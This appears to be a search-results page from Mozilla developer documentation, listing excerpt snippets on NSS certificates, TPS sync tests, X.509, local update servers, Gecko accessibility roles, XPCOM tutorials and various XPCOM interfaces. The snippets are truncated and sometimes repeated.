...me to a certificate when importing it, making it easier for you to refer to it later. it should be noted that the first database format that can be accessed simultaneously by multiple applications is key4.db/cert9.db – database files with lower numbers will most likely experience unrecoverable corruption if you access them with multiple applications at the same time. in other words, if your browser or your server operates on an older nss database format, don't use the nss tools to operate on it while the other software is executing. at the time of writing nss and the mozilla applications still use the older database file format by default, where each application has its own nss database. if you require a copy of a certificate stored in an nss database, including its private key, you ca...
NSS Certificate Download Specification
ce (excluding the end of line characters). importing certificate chains several of the formats described above can contain several certificates. when nss's certificate decoder encounters one of these collections of multiple certificates they are handled in the following way: the first certificate is processed in a context specific manner, depending upon how it is being imported. for mozilla browsers, this handling will depend upon the mime content-type that is used on the object being downloaded. for nss-based servers it will depend upon the options selected in the server's administration interface. subsequent certificates are all treated the same. if the certificates contain a basicconstraints certificate extension that indicates they are ca certificates, and do not already exist in ...
...ificates are all treated the same. if the certificates contain a basicconstraints certificate extension that indicates they are ca certificates, and do not already exist in the local certificate database, they are added as untrusted cas. in this way they may be used for certificate chain validation, as long as there is a trusted ca somewhere along the chain. importing certificates into mozilla browsers mozilla browsers import certificates found in http protocol responses. there are several mime content types that are used to indicate to the browser what type of certificate is being imported. these mime types are: application/x-x509-user-cert the certificate being downloaded is a user certificate belonging to the user operating the browser. if the private key associated with the certifica...
...ser for use with s/mime. if a certificate chain is being imported then the first certificate in the chain must be the user certificate, and any subsequent certificates will be added as untrusted ca certificates to the local database. this is intended to allow people or cas to post their e-mail certificates on web pages for download by other users who want to send them encrypted mail. note: the browser checks that the size of the object being downloaded matches the size of the encoded certificates. therefore it is important to ensure that no extra characters, such as nulls or linefeeds are added at the end of the object. importing certificates into nss-based servers consult your server's administration guide for the most accurate information. for some nss-base servers, the following informa...
TPS Tests
n will fail. you can use as many profiles or phases as you need, but every phase you define later must be declared here, or it will not be run by the python test runner. any phases declared here but not implemented later will cause the test to fail when it hits that phase. asset lists a test file will contain one or more asset lists, which are lists of bookmarks, passwords, or other types of browser data that are relevant to sync. the format of these asset lists vary somwhat depending on asset type. bookmarks passwords history tabs form data prefs test phases the phase blocks are where the action happens! they tell tps what to do. each phase block contains the name of a phase, and a list of actions. tps iterates through the phase blocks in alphanumeric order, and for each phase,...
... best used for debugging, and new tests that want custom behavior should add it to the tps addon so that other tests can use it. example test here's an example tps test to tie it all together. ...
...ude log output written by the python driver, which includes information about where the temporary profiles it uses are stored. run test_sync.js. this test generally validates your tps setup and does a light test of a few engines. comment out the goquitapplication() calls in services/sync/tps/extensions/tps/modules/tps.jsm (remember to undo this later!). you will have to manually quit the browser at each phase, but you will be able to inspect the browser state manually. using this technique in conjunction with aboutsync is helpful. (note that the python testrunner will generally still kill firefox after a tps test runs for 5 or so minutes, so it's often helpful to kill the python testrunner outright, and then use aboutsync in a different instance of the browser). a tps failure ...
A Web PKI x509 certificate primer
s of the certificate such as extra attributes of the certificate or constraints on the use of the certificate. in order for a certificate to be valid these three requirements must be met: there is a verification path from the site certificate to a trusted certificate of the user agent (ie if you follow the issuer path you will end on a self-signed certificate that is considered trusted by the browser). the attributes of the certificates in the verification path have valid parameters for that verification (for example the validity period of all the certificates are valid for the time the verification is being done) revocation checks are considered ok for that particular validation. one issue that is not commonly known is that the x509 trust graph is not a forest (a bunch of trees where e...
...ity period of all the certificates are valid for the time the verification is being done) revocation checks are considered ok for that particular validation. one issue that is not commonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing). extensions while rfc 5280 defines 16 extensions for webpki in this document we will be describing the six extensions we considered critical for understanding. certificates can have other extensions not described on rfc 5280, but that is out of the scope of this document. extensions can be marked as critica...
...t the certificate that signed it is valid, and checking that the certificate that signed the parent certificate is valid and so forth up to a root certificate that is known to be valid. this chain of certificates is called the certificate hierarchy. if your certificates will only be used to verify one domain (e.g. *.yourcompany.com) but you want others outside of your organization to be able to browse to your website using https without having to manually import a root certificate, then you can get an ssl certificate from one of the cas who already have a root certificate included in the major browsers. firefox uses a default set of x.509v3 root certificates for various certification authorities (cas). the root certificates included by default have their "trust bits" set to indicate if the c...
Setting up an update server
note: it can be a bit tricky to get the make_full_update.sh script to accept paths with spaces. serving the update preparing the update files first, create the directory that updates will be served from and put the mar file in it. then, create a file within called update.xml with these contents, replacing <mar name>, <hash...
...r update server now, start an update server to serve the update files on port 8000. an easy way to do this is with python. remember to navigate to the correct directory before starting the server. ...
...if you aren't sure that you started the server correctly, try using a web browser to navigate to http://127.0.0.1:8000/update.xml and make sure that you get the xml file you created earlier. installing the update you may want to start by deleting any pending updates to ensure that no previously found updates interfere with installing the desired update. you can use this command with firefox's browser console to determine the update directory: const {fileutils} = chromeutils.import("resource://gre/modules/fileutils.jsm"); fileutils.getdir("updrootd", [], false).path once you have determined the update directory, close firefox, browse to the directory and remove the subdirectory called updates. next, you need to change the update url to point to the local xml file. this can be done most re...
Gecko Roles
or toggle buttons) that provides easy access to frequently used features. role_statusbar represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. the status bar has multiple fields, which display different kinds of information. role_table represents a table that contains rows and columns of cells, and optionally, row headers and column headers. role_columnheader represents a column header, providing a visual label for a column in a table. role_rowheader represents a row header, which provides a visual label for a table row. role_column represents a column of cells within a table. role_row represents a row of cells within a table. ro...
...ktop pane. a pane that supports internal frames and iconified versions of those internal frames. role_directory_pane a directory pane. a pane that allows the user to navigate through and select the contents of a directory. may be used by a file chooser. role_file_chooser a file chooser. a specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. may use the directory pane to show the contents of a directory. role_font_chooser a font chooser. a font chooser is a component that lets the user pick various attributes for fonts. role_chrome_window frame role. a top level window with a title bar, border, menu bar, etc. it is often used as the primary window for an application. ...
...ole_terminal represents an accessible terminal. role_text_container collection of objects that constitute a logical text entity. role_toggle_button a toggle button. a specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state. role_tree_table representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data. role_viewport a viewport. an object usually used in a scroll pane. it represents the portion of the entire data that the user can see. as the user manipulates the scroll bars, the contents of the viewport can change. role_header header of a document page. role_footer footer of a document page. role_paragraph a paragraph ...
Using the Places favicon service
the favicon service, implemented by the nsifaviconservice interface, stores the favicons for pages in bookmarks and history. for an overview of the database design, see the places database. creating the favicon service the favicon service's contract id is @mozilla.org/browser/favicon-service;1, so to gain access to the favicon service, you should do something like this: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); caching the favicon service stores an expiration time for each favicon. this time is used by nsifaviconservice.setandloadfaviconforpage() to determine if the data is fresh or needs reloading from the server. if you are manually loading favicon dat...
...e yourself. otherwise, nsifaviconservice.setandloadfaviconforpage() will use the default expiration time. currently, the default expiration time is set to one day in the future. this makes sure that we aren't obsessively reloading favicons into the database for every page viewed, but also that changes in the favicon will be picked up quickly. most of the time, the favicon will be served from the browser's cache and will have minimal performance impact. this expiration time is not the time that the favicon will be deleted. expiration is handled by browser/components/places/src/nsnavhistoryexpire.cpp as described in places design. the expiration time is only used to determine whether data should be reloaded from the network (or cache) or whether the version in the database is fresh enough. get...
...nsifaviconservice.getfaviconimageforpage() returns an annotation uri for the favicon for a given page, and nsifaviconservice.getfaviconlinkforicon() returns an annotation uri for the given favicon. ...
Accessing the Windows Registry Using XPCOM
ox 1.0 includes a much simpler interface to the windows registry, without most of the functionality supported in newer versions. the functionality is exposed in the nsiwindowsshellservice interface. it consists of only one method, getregistryentry(), and a set of named constants to specify the root key. you can use it as shown in the following example: var wss = components.classes["@mozilla.org/browser/shell-service;1"] .getservice(components.interfaces.nsiwindowsshellservice); var id = wss.getregistryentry(wss.hklm, "software\\microsoft\\windows\\currentversion", "productid"); note: there's no way to set a registry value using this interface. support in seamonkey and other non-toolkit applications in older ve...
...it can be used as follows: var wss = components.classes["@mozilla.org/winhooks;1"] .getservice(components.interfaces.nsiwindowsregistry); var id = wss.getregistryentry(wss.hklm, "software\\microsoft\\windows\\currentversion", "productid"); backwards compatibility if you need to support firefox 1.0 and other older browser versions, you should check to see which interfaces are available. the following skeleton code will allow you to determine which interface to use: if ("@mozilla.org/windows-registry-key;1" in components.classes) { // firefox 1.5 or newer } else if ("@mozilla.org/winhooks;1" in components.classes) { // seamonkey or other older non-toolkit application } else if ("@mozilla.org/browser/shell-se...
...ng skeleton code will allow you to determine which interface to use: if ("@mozilla.org/windows-registry-key;1" in components.classes) { // firefox 1.5 or newer } else if ("@mozilla.org/winhooks;1" in components.classes) { // seamonkey or other older non-toolkit application } else if ("@mozilla.org/browser/shell-service;1" in components.classes) { var wss = components.classes["@mozilla.org/browser/shell-service;1"] .getservice(components.interfaces.nsiwindowsshellservice); if ("getregistryentry" in wss) { // firefox 1.0 } else { // nothing supported } } else { // nothing supported } ...
Avoiding leaks in JavaScript XPCOM components
arlier that, in versions of mozilla before 1.8, setting arbitrary javascript properties on elements (or using xbl fields) causes that element's javascript wrapper to be rooted until the document stops being displayed. this can be a problem if there are large objects reachable from that wrapper that should go away before the document stops being displayed. ...
... in versions of mozilla before 1.8, setting arbitrary javascript properties on elements (or using xbl fields) causes that element's javascript wrapper to be rooted until the document stops being displayed. this can be a problem if there are large objects reachable from that wrapper that should go away before the document stops being displayed. the worst example of this problem is tabbrowser. tabbrowser is an xbl binding that wraps browsers in tabs, creating and destroying them as needed. but the browsers are themselves xbl bindings, and much of the memory associated with the page displayed in the tab is reachable from the javascript properties of the browser element. this means that without some workaround, all of the browsers will remain in memory until the parent window is closed. the worka...
...bs, creating and destroying them as needed. but the browsers are themselves xbl bindings, and much of the memory associated with the page displayed in the tab is reachable from the javascript properties of the browser element. this means that without some workaround, all of the browsers will remain in memory until the parent window is closed. the workaround is simple: we have a destroy method on browser that tabbrowser can call when it's done with a browser. this destroy method assigns null to the problematic properties so that the large objects are no longer reachable from the wrapper of the browser element (which will still leak until the window containing the tabbrowser is closed, but it's a much smaller leak). further reading finding leaks in mozilla - how to debug leaks when they do o...
An Overview of XPCOM
apters, but for now, it can be useful to think of xpcom as a platform for component development, in which features such as those listed above are provided. gecko although it is in some ways structurally similar to microsoft com, xpcom is designed to be used principally at the application level. ...
... to think of xpcom as a platform for component development, in which features such as those listed above are provided. gecko although it is in some ways structurally similar to microsoft com, xpcom is designed to be used principally at the application level. the most important use of xpcom is within gecko, an open source, standards compliant, embeddable web browser and toolkit for creating web browsers and other applications. xpcom is the means of accessing gecko library functionality and embedding or extending gecko. this book focuses on the latter - extending gecko - but the fundamental ideas in the book will be important to developers embedding gecko as well. gecko is used in many internet applications, mostly browsers and most notably mozilla firefox. components xpcom allows you to b...
...ntime. in simple class inheritance, for example, you'd like to be able ask the shape if it's a circle and to be able to use it like a circle if it is. in xpcom, this is what the queryinterface feature of the nsisupports interface is for: it allows clients to find and access different interfaces based on their needs. in c++, you can use a fairly advanced feature known as a dynamic_cast<>, which throws an exception if the shape object is not able to be cast to a circle. but enabling exceptions and rtti may not be an option because of performance overhead and compatibility on many platforms, so xpcom does things differently. exceptions in xpcom c++ exceptions are not supported directly by xpcom. instead all exceptions must be handled within a given component, before crossing interface boundar...
Creating the Component Code
d this chapter is more about learning the basics. as in grade school when you learned long division, better tools like calculators come after you figure out what's actually happening. in this case, the long-hand implementation gives us an opportunity to talk about various features of xpcom. what we'll be working on the component we'll be working on in this book controls a special mode in your browser that prevents users from leaving the current domain or a set of safe domains. once enabled, this "weblock" mode is password protected and persists until it is turned off by the password holder. it can be used to implement parental controlled browsing for children, or for targeted "kiosk browsing," where the content is restricted to a particular server. web lock user interface shows the icon tha...
...interface shows the icon that is used to activate the web lock mode (leftmost in the status bar) once you have installed the weblock component and the extra user interface. web lock user interface most of the actual work in the weblock component is preparing the component itself, finding the xpcom interfaces the component needs to use, and hooking into existing functionality within the gecko browser. component registration all xpcom components - whether they're stored in shared libraries (dlls, dsos, dylibs), javascript files, or otherwise - need to be registered before they can be used. registration is a process that happens in all xpcom applications, whether they're embedded gecko clients, mozilla, netscape 7, compuserve, or any other software that uses xpcom. registration provides the...
...ster that component and all the others in that directory. several new options have been added to regxpcom in versions 1.4 and later. you can run regxpcom with the -h option to see full usage options. registration alternatives a gecko embedding application may provide other ways to register xpcom components. xpinstall, the cross-platform installation technology that mozilla uses to install the browser and other components, is one such alternative. it is described further in packaging weblock. you should consult with the authors of the application you wish to extend to see if there are other supported ways. overview of the weblock module source as we mentioned in the previous section, components have layers. there are three main parts to every xpcom component. from the innermost and moving ...
Preface
well. xpcom stands for the cross platform component object model. as this name implies, xpcom is similar to microsoft com. if you have any experience with this technology, much of it can be applied to xpcom. however, this book does not assume any prior knowledge of com - all of the basic com ideas will be introduced. this book provides a tutorial about building an xpcom component that controls browsing behavior. although, xpcom can be used in many environments which are unrelated to web browsing, xpcom's main client is gecko, an open source, standards compliant, embeddable web browser, where it's easiest and most practical to illustrate xpcom's functionality. a full description of the component in this tutorial can be found in the what we'll be working on section of the tutorial. despite w...
...ntation says, xpcom should not be used to make npapi plugins scriptable. starting with gecko 1.7.5 (firefox 1.0) a special npapi extension for scriptability is supported, see scripting plugins. organization of the tutorial the following list provides an overview of the steps that we will take to build an xpcom component called weblock, which provides site blocking functionality to gecko-based browsers. each one of these steps has its own chapter, in which a number of topics associated with the step are discussed. create the generic module code for the component. use c++ macros, special string classes and smart pointers to optimize your code. define the functionality for the component; create an xpidl interface for that functionality; create the implementation code specific to the custo...
... download the gecko sdk, which is a collection of libraries and tools that features the xpcom component framework. whether you compile your code in the mozilla source tree or use the gecko sdk, you can build your own components which leverage components that already exist in gecko. the weblock component we describe in this tutorial is a practical (and, we hope, genuinely useful) addition to the browser. in order to build it, your gecko sdk or mozilla source tree needs to be version 1.2 or later (xpcom interfaces were not fully frozen in prior releases). this book assumes you are using the sdk rather than compiling in a mozilla source tree, though the difference between these two approaches is minimal. details about downloading the sdk, building, and getting programmatic access to gecko compo...
Components.utils.unwaiveXrays
suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection. ...
..."i'm an expando"; by default, chrome code won't see foo, because it sees the content window with xray vision, but the chrome code can waive xray protection. ...
...the chrome code can then use unwaivexrays to restore xray protection: // chrome code // contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waivexrays(gbrowser.contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.isxraywrapper(waived.document); // false // use unwaivexrays to undo the waiver var unwaived = components.utils.unwaivexrays(waived); isxray = comp...
IAccessibleTableCell
the result is greater than 1 if the specified cell spans multiple colum...
... long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); parameters row 0 based row index. column 0 based column index. rowextents number of cells spanned by this cell in this row. columnextents number of cells spanned by this cell in this column. isselected indicates if the specified cell is selected. return value s_ok. rowextent() returns the number of rows occupied by this cell accessible. [propget] hresult rowextent( [out] long nrowsspanned ); parameters nrowsspanned returns the row extent of the specified cell. return value s_ok. rowheadercells() returns the row headers as an array of cell accessibles. [propget] hresult rowheadercells( [out, size_is(, nrowheadercells,)] iunknown cellaccessibles, [out] long nrowheadercells ); parameters ...
...les returned; the size of the returned array. return value s_false if there is no header, [out] values are null and 0 respectively. s_ok. rowindex() translates this cell accessible into the corresponding row index. [propget] hresult rowindex( [out] long rowindex ); parameters rowindex returns the 0 based row index of the specified cell or the index of the first row if the cell spans multiple rows. return value s_ok. table() returns a reference to the accessbile of the containing table. [propget] hresult table( [out] iunknown table ); parameters table returns a reference to the iunknown of the containing table. return value s_ok. see also iaccessibletable2 ...
mozIAsyncHistory
toolkit/components/places/moziasynchistory.idlscriptable this interface allows you to add multiple visits to a single url in a batch. ...
.../components/places/moziasynchistory.idlscriptable this interface allows you to add multiple visits to a single url in a batch. ...
...ingle uri, or a js array of uris and/or guids. acallback an object implementing the mozivisitedstatuscallback.isvisited() method; this method will be called with the results once the request has been completed. updateplaces() adds a set of visits for one or more moziplaceinfo objects, and updates each moziplaceinfo's title or guid. note that this lets you add to history even in private browsing mode; if that's not desired you can first check whether the window is in private browsing mode. void updateplaces( in moziplaceinfo aplaceinfo, in mozivisitinfocallback acallback optional ); parameters aplaceinfo the moziplaceinfo object[s] containing the information to store or update. this can be a single object, or an array of objects. acallback optional a mozivisitinf...
nsIAlertsService
note: if you are calling this function from javascript, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22. void showalertnotification( in astring imageurl, in astring title, in astring ...
...ac os x prior to firefox 22. void showalertnotification( in astring imageurl, in astring title, in astring text, in boolean textclickable, optional in astring cookie, optional in nsiobserver alertlistener, optional in astring name, optional in astring dir, optional in astring lang, optional in astring data, optional in nsiprincipal principal, optional in boolean inprivatebrowsing, optional ); parameters imageurl a url identifying the image to display in the notification alert. title the title for the alert. text the text to display in the alert, explaining the alert condition. the text must not be too long, otherwise it might be truncated to a platform-specific length. if the text is too long, try to use line returns in the text to have it split and displayed...
...", "ltr" or "rtl". only available on supported platforms. lang optional language of title and text of the alert. only available on supported platforms. data optional the value of the cookie parameter passed to showalertnotification. principal optional the principal of the page that created the alert. used for ipc security checks, and to determine whether the alert is actionable. inprivatebrowsing optional controls the image loading behavior. if true, the image url will be loaded in private browsing mode. exceptions thrown ns_error_not_available unable to display the notification; this may happen, for example, on mac os x if growl is not installed. example simple usage the following code was used to display the above notification. var alertsservice = components.classes["@moz...
nsIConsoleService
it is used to log various messages, warnings, and errors and to obtain the logged messages. ...
...ringmessage(in wstring message); void registerlistener(in nsiconsolelistener listener); void reset(); void unregisterlistener(in nsiconsolelistener listener); methods getmessagearray() to obtain an array of all logged messages. obsolete since gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void getmessagearray( [array, size_is(count)] out nsiconsolemessage messages, out pruint32 count ); parameters messages an array of logged messages. count the number of messages in the array. if no messages are logged, this function will return a count of 0, but allocating a placeholder word for ...
...arningflag = 1 nsiscripterror.exceptionflag = 2 and nsiscripterror.strictflag = 4. acategory — a string indicating what kind of code caused the error message. there are quite a few category strings and they do not currently seem to be listed in a single place. hopefully, they will all eventually be listed in nsiscripterror.idl. see also error console (deprecated) web console browser console nsiconsolemessage ...
nsIFocusManager
ndow, in prbool aneedsfocus); native code only! attributes attribute type description activewindow nsidomwindow the most active (frontmost) window, or null if no window that is part of the application is active. setting the activewindow raises it, and focuses the current child window's current element, if any. setting this to null or to a non-top-level window throws an ns_error_invalid_arg exception. focusedelement nsidomelement the element that is currently focused. this will always be an element within the document loaded in focusedwindow or null if no element in that document is focused. read only. focusedwindow nsidomwindow the child window within the activewindow that is focused. this will always be activewindow, a child wi...
...6. movefocus_first 5 move focus to the first focusable element. movefocus_last 6 move focus to the last focusable element. movefocus_root 7 move focus to the root element in the document. movefocus_caret 8 move focus to a link at the position of the caret. this is a special value used to focus links as the caret moves over them in caret browsing mode. methods clearfocus() clears the focused element within awindow. if the current focusedwindow is a descendant of awindow, sets the current focusedwindow to awindow. void clearfocus( in nsidomwindow awindow ); parameters awindow exceptions thrown ns_error_invalid_arg if awindow is null. native code only!contentremoved obsolete since gecko 2.0 (firefox 4 / t...
...t focusedwindow is a descendant of awindow, sets the current focusedwindow to awindow. void clearfocus( in nsidomwindow awindow ); parameters awindow exceptions thrown ns_error_invalid_arg if awindow is null. native code only!contentremoved obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. called when content has been removed. void contentremoved( in nsidocument adocument, in nsicontent aelement ); parameters adocument aelement native code only!firedelayedevents fire any events that have been delayed due to synchronized actions. void firedelayedevents( in nsidocumen...
nsIMacDockSupport
oreotherapplications ); parameters aignoreotherapplications if true, the application is activated regardless of the state of other applications. if false, the application is only activated if other applications are not currently active. about dockmenu by default firefox adds two menu items to the dock menu. the menu items are "new window" and "new private window". if permanent private browsing mode is enabled then the "new private window" menu item is hidden. this is created by using the dockmenu attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you would replace the default native menu. this can be done like this: var docksupport = cc['@mozilla.org/...
...mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you would replace the default native menu. ...
... done then firefox will not be activated. the result of this code is shown below. notice how the "new window" and "new private window" menuitem's are missing. therefore, if you would like to add or remove items to the menu it is recommended to manipulate the default menu item which is on the hidden window of firefox. note: the hidden window of firefox (services.appshel.hiddendomwindow) loads on browser startup, so if you would like to access it on startup of the browser make sure to check and wait for the window to be loaded. this can be done by adding a event listenr for load of the hidden window. this is the recommended way to add to the native menu, just maniuplate the default menu dom element. var macmenuitem = services.appshell.hiddendomwindow.document.createelementns('http://www.mozilla...
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; // target label. ...
....idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; // target label. ...
...upports { attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; // target label. ...
Component; nsIPrefBranch
he application. inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree" from which this "branch" stems. preferences are accessed off of this root by using just the final portion of the preference. for example, if this object is created with the root "browser.startup.", the preferences "browser.startup.page", "browser.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods. method overview void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); void clearuserpref(in string aprefname); ...
... constants constant value description pref_invalid 0 long pref_string 32 long data type. pref_int 64 long data type. pref_bool 128 long data type. methods addobserver() adds a preference change observer. on preference changes, the following arguments will be passed to nsiobserver.obse...
...value exists the preference will cease to exist. note: this method does nothing if the prefbranch it is called on is a default branch. void clearuserpref( in string aprefname ); parameters aprefname the preference to be cleared. remarks note: prior to gecko 6.0, this method would throw an exception if there was no user value set for the specified preference. now, this method never throws. instead, it simply does nothing. deletebranch() called to remove all of the preferences referenced by this branch. note: this method can be called on either a default or user branch but, in effect, always operates on both. void deletebranch( in string astartingat ); parameters astartingat the point on the branch at which to start the deleting preferences. pass in "" to remove all pr...
nsISearchEngine
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine. when non-null, this is a unique identifier. ...
... type_opensearch 3 search engine data type constants constant value description data_xml 1 data type is xml data_text 2 data type is text. methods addparam() adds a parameter to the search engine's submission data. this should only be called on engines created via nsibrowsersearchservice.addenginewithdetails(). void addparam( in astring name, in astring value, in astring responsetype ); parameters name the name of the parameter to add. value the value to pass. if value is "{searchterms}", it will be substituted with the user-entered data when retrieving the submission. must not be null. responsetype since an engine ...
...eturn value an nsisearchsubmission supportsresponsetype() determines whether the engine can return responses in the given mime type. boolean supportsresponsetype( in astring responsetype ); parameters responsetype the mime type to check for. return value returns true if the engine spec has a url with the given responsetype, false otherwise. see also nsisearchsubmission nsibrowsersearchservice ...
nsISessionStartup
read only. state jsval the session state, as a javascript object. read only. ...
...read only. state jsval the session state, as a javascript object. read only. ...
...read only. state jsval the session state, as a javascript object. read only. ...
nsITreeBoxObject
rizontal scrollbar. selectionregion nsiscriptableregion readonly: return the region for the visible parts of the selection, in device pixels. methods getfirstvisiblerow() get the index of the first visible row. long getfirstvisiblerow(); getlastvisiblerow() get the index of the last visible row. long getlastvisiblerow(); getpagelength() gets the number of possible visible rows. long getpagelength(); ensurerowisvisible() ensures that a row at a given index is visible. void ensurerowisvisible(in long index); parameters index the index of the row ensurecellisvisible() ensures that a given cell in the tree is visible. void ensurecellisvisible(in long row, in nsitreecolumn col); parameters index the index of the row to check col the nsitreec...
... x the x coordinate col the y coordinate. width the width of the element height the height of the element iscellcropped() determine if the text of a cell is being cropped or not. boolean iscellcropped(in long row, in nsitreecolumn col); parameters row the index of the row col the nsitreecolumn rowcountchanged() notify the tree that the number of rows changed. the view is responsible for calling this notification method when rows are added or removed. for non-contiguous additions/removals, this method should be called multiple times. void rowcountchanged(in long index, in long count); parameters index the position at which the new rows were added or at which rows were removed. count the number of rows added or removed. use n...
...nsible for calling this notification method when rows are added or removed. for non-contiguous additions/removals, this method should be called multiple times. void rowcountchanged(in long index, in long count); parameters index the position at which the new rows were added or at which rows were removed. count the number of rows added or removed. use negative values for removed rows. example you deleted the row with index rowindex. inform the tree about this change by calling rowcountchanged(rowindex+1, -1); beginupdatebatch() notify the tree that the view is about to perform a batch update, that is, add, remove or invalidate several rows at once. this must be followed by calling endupdatebatch(), otherwise the tree will get out of sync. void beginupdatebatch(); endupdat...
nsITreeSelection
ion(); boolean isselected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, in long delay); void toggleselect(in long index); attributes attribute type description count long the number of rows currently selected in this tree. read only. currentcolumn nsitreecolumn the current column. currentindex long the current item (the one with focus). note: this property indicates only the index of the row with tree cursor around it. this is not a reliable method of determining the selected row, as the selection may include multiple rows, or the focused row ...
...ly. single boolean this attribute is a boolean indicating single selection. read only. tree nsitreeboxobject the tree widget for this selection. methods adjustselection() called when the row count changes to adjust selection indices. void adjustselection( in long index, in long count ); parameters index index of the change. count number of rows changed. clearrange() clears the range. void clearrange( in long startindex, in long endindex ); parameters startindex index to clearing at. endindex index to stop clearing at. clearselection() clears the selection. void clearselection(); parameters none. getrangeat() returns two objects whose value properties represent the minimum and maximum indices of the given selecti...
...ndindex, in boolean augment ); parameters startindex index to start selecting at. endindex index to stop selecting at. this parameter is inclusive; to select one item, set endindex == startindex. augment if true, the range is added to the selection without clearing out anything else. if false, everything is cleared except for the specified range. select() deselect all rows and select the row at the specified index. void select( in long index ); parameters index index of the row to select. selectall() selects all rows. void selectall(); parameters none. timedselect() perform a timed select. void timedselect( in long index, in long delay ); parameters index index of the row to select. delay time in miliseconds to delay selection. ...
nsIVersionComparator
a and b are two version being compared, and the return value is smaller than 0, then a < b equals 0 then version, then a==b is bigger than 0, then a > b example function compareversions(a,b) { var x = services.vc.compare(a,b); if(x == 0) return a + "==" + b; else if(x > 0) return a + ">" + b; return a + "<" + b; } dump(compareversions("1.0pre", "1.0")); example - compare current browser version this example here uses nsixulappinfo component to get the version of the browser that the code is running in. see here: nsixulappinfo components.utils.import("resource://gre/modules/services.jsm"); var curentbrowserversion = services.appinfo.platformversion; //example: '31.*' var comparetothisversion = '25.*'; var compareresult = services.vc.compare(curentbrowserversion, comparetothis...
...onent to get the version of the browser that the code is running in. ...
...utils.import("resource://gre/modules/services.jsm"); var curentbrowserversion = services.appinfo.platformversion; //example: '31.*' var comparetothisversion = '25.*'; var compareresult = services.vc.compare(curentbrowserversion, comparetothisversion); if (compareresult == -1) { //currentbrowserversion is less than '25.*' (comparetothisversion) } else if (compareresult == 0) { //currentbrowserversion is '25.*' (comparetothisversion) } else if (compareresult == 1) { //currentbrowserversion is greater than '25.*' (comparetothisversion) } else { //will never get here as services.vc.compare only returns -1, 0, or 1 } see also toolkit version format ...
nsIWebNavigationInfo
<< 15 note: other return types may be added here in the future as they become relevant. returned by istypesupported() to indicate that a type is supported via some other means. methods istypesupported() determines whether or not the specified mime type is supported by the given nsiwebnavigation object. this lets you determine whether a mime type can be displayed as-is inside a browser, or if the browser will instead forward handling of the data to a plug-in or an external helper application. note: this method may cause plug-ins to be rescanned in order to ensure they are properly registered for the types they support. unsigned long istypesupported( in acstring atype, in nsiwebnavigation awebnav ); parameters atype the mime type to check. awebnav the n...
...bnavigation awebnav ); parameters atype the mime type to check. awebnav the nsiwebnavigation object on which to check for compatibility. you may specify null to check for compatibility with nsiwebnavigation objects that are in their default state; otherwise, the result is determined based on the configuration of the specified object (that is, how it is configured by using nsiwebbrowsersetup). return value returns one of the support type constants, indicating whether or not the specified mime type is supported, and in what form that support exists. example let webnavigationinfo_service = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); let support_code = webnavigationinfo_service.i...
...upport exists. ...
nsIWindowCreator
